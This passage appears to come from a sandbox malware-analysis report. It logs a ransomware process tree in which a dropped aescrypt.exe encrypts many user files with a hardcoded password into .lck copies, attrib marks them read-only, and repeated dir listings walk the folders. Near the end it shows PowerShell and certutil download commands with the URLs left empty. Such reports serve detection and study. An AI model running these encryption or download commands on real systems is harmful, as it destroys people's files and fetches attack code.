    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RestoreRegister.odt.lck" "RestoreRegister.odt"
    3⤵
    PID:908
- - C:\Windows\system32\attrib.exe
    attrib +r "RestoreRegister.odt.lck"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RevokeDeny.xps.lck" "RevokeDeny.xps"
    3⤵
    PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +r "RevokeDeny.xps.lck"
    3⤵
    - Views/modifies file attributes
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RegisterConvertFrom.wma.lck" "RegisterConvertFrom.wma"
    3⤵
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "RegisterConvertFrom.wma.lck"
    3⤵
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "LimitDismount.wdp.lck" "LimitDismount.wdp"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "LimitDismount.wdp.lck"
    3⤵
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DisablePing.hta.lck" "DisablePing.hta"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "DisablePing.hta.lck"
    3⤵
    PID:544
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "PopMerge.mov.lck" "PopMerge.mov"
    3⤵
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "PopMerge.mov.lck"
    3⤵
    PID:208
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ResumeSave.TS.lck" "ResumeSave.TS"
    3⤵
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "ResumeSave.TS.lck"
    3⤵
    - Views/modifies file attributes
    PID:224
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ExpandOpen.reg.lck" "ExpandOpen.reg"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    attrib +r "ExpandOpen.reg.lck"
    3⤵
    - Views/modifies file attributes
    PID:236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1616
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1924
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    - Views/modifies file attributes
    PID:204
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Wallpaper.jpg.lck" "Wallpaper.jpg"
    3⤵
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "Wallpaper.jpg.lck"
    3⤵
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RenameTest.raw.lck" "RenameTest.raw"
    3⤵
    - Modifies extensions of user files
    PID:1916
- - C:\Windows\system32\attrib.exe
    attrib +r "RenameTest.raw.lck"
    3⤵
    - Modifies extensions of user files
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UninstallPush.dib.lck" "UninstallPush.dib"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "UninstallPush.dib.lck"
    3⤵
    PID:1512
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CompleteOpen.svgz.lck" "CompleteOpen.svgz"
    3⤵
    PID:908
- - C:\Windows\system32\attrib.exe
    attrib +r "CompleteOpen.svgz.lck"
    3⤵
    - Views/modifies file attributes
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConvertEnable.wmf.lck" "ConvertEnable.wmf"
    3⤵
    PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +r "ConvertEnable.wmf.lck"
    3⤵
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SyncOpen.png.lck" "SyncOpen.png"
    3⤵
    - Modifies extensions of user files
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "SyncOpen.png.lck"
    3⤵
    - Modifies extensions of user files
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RequestBackup.pcx.lck" "RequestBackup.pcx"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "RequestBackup.pcx.lck"
    3⤵
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ExportHide.bmp.lck" "ExportHide.bmp"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "ExportHide.bmp.lck"
    3⤵
    PID:544
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TraceStop.raw.lck" "TraceStop.raw"
    3⤵
    - Modifies extensions of user files
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "TraceStop.raw.lck"
    3⤵
    - Modifies extensions of user files
    - Views/modifies file attributes
    PID:208
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SearchCheckpoint.gif.lck" "SearchCheckpoint.gif"
    3⤵
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "SearchCheckpoint.gif.lck"
    3⤵
    PID:224
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ResumeConfirm.dib.lck" "ResumeConfirm.dib"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    attrib +r "ResumeConfirm.dib.lck"
    3⤵
    PID:236
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OpenSkip.dwg.lck" "OpenSkip.dwg"
    3⤵
    PID:1616
- - C:\Windows\system32\attrib.exe
    attrib +r "OpenSkip.dwg.lck"
    3⤵
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "MeasureSend.cr2.lck" "MeasureSend.cr2"
    3⤵
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib +r "MeasureSend.cr2.lck"
    3⤵
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WatchHide.tif.lck" "WatchHide.tif"
    3⤵
    - Modifies extensions of user files
    PID:1328
- - C:\Windows\system32\attrib.exe
    attrib +r "WatchHide.tif.lck"
    3⤵
    - Modifies extensions of user files
    PID:2000
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CompleteEnable.dxf.lck" "CompleteEnable.dxf"
    3⤵
    PID:204
- - C:\Windows\system32\attrib.exe
    attrib +r "CompleteEnable.dxf.lck"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SendRestart.ico.lck" "SendRestart.ico"
    3⤵
    PID:1860
- - C:\Windows\system32\attrib.exe
    attrib +r "SendRestart.ico.lck"
    3⤵
    - Views/modifies file attributes
    PID:680
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ClearTrace.emz.lck" "ClearTrace.emz"
    3⤵
    PID:1072
- - C:\Windows\system32\attrib.exe
    attrib +r "ClearTrace.emz.lck"
    3⤵
    PID:1732
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SwitchRestart.tif.lck" "SwitchRestart.tif"
    3⤵
    - Modifies extensions of user files
    PID:2032
- - C:\Windows\system32\attrib.exe
    attrib +r "SwitchRestart.tif.lck"
    3⤵
    - Modifies extensions of user files
    PID:520
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OutInitialize.crw.lck" "OutInitialize.crw"
    3⤵
    - Modifies extensions of user files
    PID:1540
- - C:\Windows\system32\attrib.exe
    attrib +r "OutInitialize.crw.lck"
    3⤵
    - Modifies extensions of user files
    PID:816
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ResumeSync.crw.lck" "ResumeSync.crw"
    3⤵
    - Modifies extensions of user files
    PID:936
- - C:\Windows\system32\attrib.exe
    attrib +r "ResumeSync.crw.lck"
    3⤵
    - Modifies extensions of user files
    - Views/modifies file attributes
    PID:1604
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ExportUndo.eps.lck" "ExportUndo.eps"
    3⤵
    PID:1020
- - C:\Windows\system32\attrib.exe
    attrib +r "ExportUndo.eps.lck"
    3⤵
    - Views/modifies file attributes
    PID:1344
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InitializeConvert.tiff.lck" "InitializeConvert.tiff"
    3⤵
    - Modifies extensions of user files
    PID:1348
- - C:\Windows\system32\attrib.exe
    attrib +r "InitializeConvert.tiff.lck"
    3⤵
    - Modifies extensions of user files
    - Views/modifies file attributes
    PID:916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DisconnectPop.bmp.lck" "DisconnectPop.bmp"
    3⤵
    PID:1712
- - C:\Windows\system32\attrib.exe
    attrib +r "DisconnectPop.bmp.lck"
    3⤵
    PID:1996
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WriteDisable.emf.lck" "WriteDisable.emf"
    3⤵
    PID:1396
- - C:\Windows\system32\attrib.exe
    attrib +r "WriteDisable.emf.lck"
    3⤵
    PID:1388
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CloseExpand.dxf.lck" "CloseExpand.dxf"
    3⤵
    PID:1500
- - C:\Windows\system32\attrib.exe
    attrib +r "CloseExpand.dxf.lck"
    3⤵
    PID:620
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReadRegister.tiff.lck" "ReadRegister.tiff"
    3⤵
    - Modifies extensions of user files
    PID:1100
- - C:\Windows\system32\attrib.exe
    attrib +r "ReadRegister.tiff.lck"
    3⤵
    - Modifies extensions of user files
    - Views/modifies file attributes
    PID:220
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReadDismount.jpg.lck" "ReadDismount.jpg"
    3⤵
    PID:1272
- - C:\Windows\system32\attrib.exe
    attrib +r "ReadDismount.jpg.lck"
    3⤵
    - Views/modifies file attributes
    PID:1352
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConnectWait.svg.lck" "ConnectWait.svg"
    3⤵
    PID:1832
- - C:\Windows\system32\attrib.exe
    attrib +r "ConnectWait.svg.lck"
    3⤵
    - Views/modifies file attributes
    PID:1620
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DismountFind.emf.lck" "DismountFind.emf"
    3⤵
    PID:1496
- - C:\Windows\system32\attrib.exe
    attrib +r "DismountFind.emf.lck"
    3⤵
    PID:1652
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UpdateUnblock.svg.lck" "UpdateUnblock.svg"
    3⤵
    PID:1716
- - C:\Windows\system32\attrib.exe
    attrib +r "UpdateUnblock.svg.lck"
    3⤵
    PID:1668
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "GrantFind.png.lck" "GrantFind.png"
    3⤵
    - Modifies extensions of user files
    PID:1984
- - C:\Windows\system32\attrib.exe
    attrib +r "GrantFind.png.lck"
    3⤵
    - Modifies extensions of user files
    PID:1408
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TraceRead.dxf.lck" "TraceRead.dxf"
    3⤵
    PID:1028
- - C:\Windows\system32\attrib.exe
    attrib +r "TraceRead.dxf.lck"
    3⤵
    - Views/modifies file attributes
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "BackupSync.dib.lck" "BackupSync.dib"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "BackupSync.dib.lck"
    3⤵
    - Views/modifies file attributes
    PID:1512
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RepairSearch.crw.lck" "RepairSearch.crw"
    3⤵
    - Modifies extensions of user files
    PID:908
- - C:\Windows\system32\attrib.exe
    attrib +r "RepairSearch.crw.lck"
    3⤵
    - Modifies extensions of user files
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "GetFind.png.lck" "GetFind.png"
    3⤵
    - Modifies extensions of user files
    PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +r "GetFind.png.lck"
    3⤵
    - Modifies extensions of user files
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WaitGet.wmf.lck" "WaitGet.wmf"
    3⤵
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "WaitGet.wmf.lck"
    3⤵
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TraceComplete.svg.lck" "TraceComplete.svg"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "TraceComplete.svg.lck"
    3⤵
    - Views/modifies file attributes
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WriteApprove.jpeg.lck" "WriteApprove.jpeg"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "WriteApprove.jpeg.lck"
    3⤵
    PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1320
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:620
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Everywhere.search-ms.lck" "Everywhere.search-ms"
    3⤵
    PID:1100
- - C:\Windows\system32\attrib.exe
    attrib +r "Everywhere.search-ms.lck"
    3⤵
    PID:220
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Indexed.lck" "Indexed"
    3⤵
    PID:1272
- - C:\Windows\system32\attrib.exe
    attrib +r "Indexed.lck"
    3⤵
    PID:1352
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:1832
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:1620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1652
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1716
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    - Views/modifies file attributes
    PID:1668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1408
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:1028
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    - Views/modifies file attributes
    PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c Invoke-WebRequest -Uri -OutFile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f
    3⤵
    PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:2008
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
    3⤵
    PID:820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:680
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1072
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1540
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:520
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1500
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1404
